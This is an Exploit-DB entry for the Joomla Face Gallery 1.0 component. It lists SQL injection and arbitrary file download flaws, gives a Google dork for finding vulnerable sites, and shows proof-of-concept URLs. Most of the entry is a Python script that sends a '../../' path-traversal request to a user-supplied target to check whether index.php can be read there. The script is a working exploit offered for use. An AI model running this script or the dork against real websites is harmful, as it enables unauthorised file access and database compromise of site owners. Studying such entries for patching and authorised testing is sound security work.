Exploit-DB #34754
Description: Joomla! Component com_facegallery 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-09-24
Author: Claudio Viviani

Exploit:
######################

# Exploit Title : Joomla Face Gallery 1.0 Multiple Vulnerabilities

# Exploit Author : Claudio Viviani

# Vendor Homepage : https://www.apptha.com

# Software Link : https://www.apptha.com/downloadable/download/sample/sample_id/150

# Dork Google: inurl:option=com_facegallery

# Date : 2014-09-17

# Tested on : Windows 7 / Mozilla Firefox
#             Linux / Mozilla Firefox

# Info:

# Joomla Face Gallery 1.0 suffers from SQL injection and Arbitrary file dowwnload vulnerabilities

# PoC Exploit:
#
# http://localhost/index.php?option=com_facegallery&view=images&aid=[SQLi]&lang=en
# http://localhost/index.php?option=com_facegallery&task=imageDownload&img_name=[../../filename]

# "aid" and img_name variables are not sanitized.

######################

# Arbitrary file download exploit:

#!/usr/bin/env python

# http connection
import urllib, urllib2
# Args management
import optparse
# Error managemen
import sys

banner = """
   __                      __           _______
  |__.-----.-----.--------|  .---.-.   |   _   .---.-.----.-----.
  |  |  _  |  _  |        |  |  _  |   |.  1___|  _  |  __|  -__|
  |  |_____|_____|__|__|__|__|___._|   |.  __) |___._|____|_____|
 |___|                                 |:  |
                                       |::.|
                                       `---'
  _______       __ __                      _____    _______
 |   _   .---.-|  |  .-----.----.--.--.   | _   |  |   _   |
 |.  |___|  _  |  |  |  -__|   _|  |  |   |.|   |__|.  |   |
 |.  |   |___._|__|__|_____|__| |___  |   `-|.  |__|.  |   |
 |:  1   |                      |_____|     |:  |  |:  1   |
 |::.. . |                                  |::.|  |::.. . |
 `-------'                                  `---'  `-------'

                               j00ml4 F4c3 G4ll3ry 4rb1tr4ry F1l3 D0wnl04d

                        Written by:

                      Claudio Viviani

                   http://www.homelab.it

                      info@homelab.it
                  homelabit@protonmail.ch

             https://www.facebook.com/homelabit
                https://twitter.com/homelabit
             https://plus.google.com/+HomelabIt1/
   https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""

# Check url
def checkurl(url):
    if url[:8] != "https://" and url[:7] != "http://":
        print('[X] You must insert http:// or https:// procotol')
        sys.exit(1)
    else:
        return url

def connection(url,pathtrav):
    try:
        response = urllib2.urlopen(url+'/index.php?option=com_facegallery&task=imageDownload&img_name='+pathtrav+'index.php')
        content = response.read()
        if content != "":
            print '[!] VULNERABLE'
            print '[+] '+url+'/index.php?option=com_facegallery&task=imageDownload&img_name='+pathtrav+'index.php'
        else:
            print '[X] Not Vulnerable'
    except urllib2.HTTPError:
        print '[X] HTTP Error'
    except urllib2.URLError:
        print '[X] Connection Error'

commandList = optparse.OptionParser('usage: %prog -t URL')
commandList.add_option('-t', '--target', action="store",
                  help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
                  )
options, remainder = commandList.parse_args()

# Check args
if not options.target:
    print(banner)
    commandList.print_help()
    sys.exit(1)

print(banner)

url = checkurl(options.target)
pathtrav = "../../"

connection(url,pathtrav)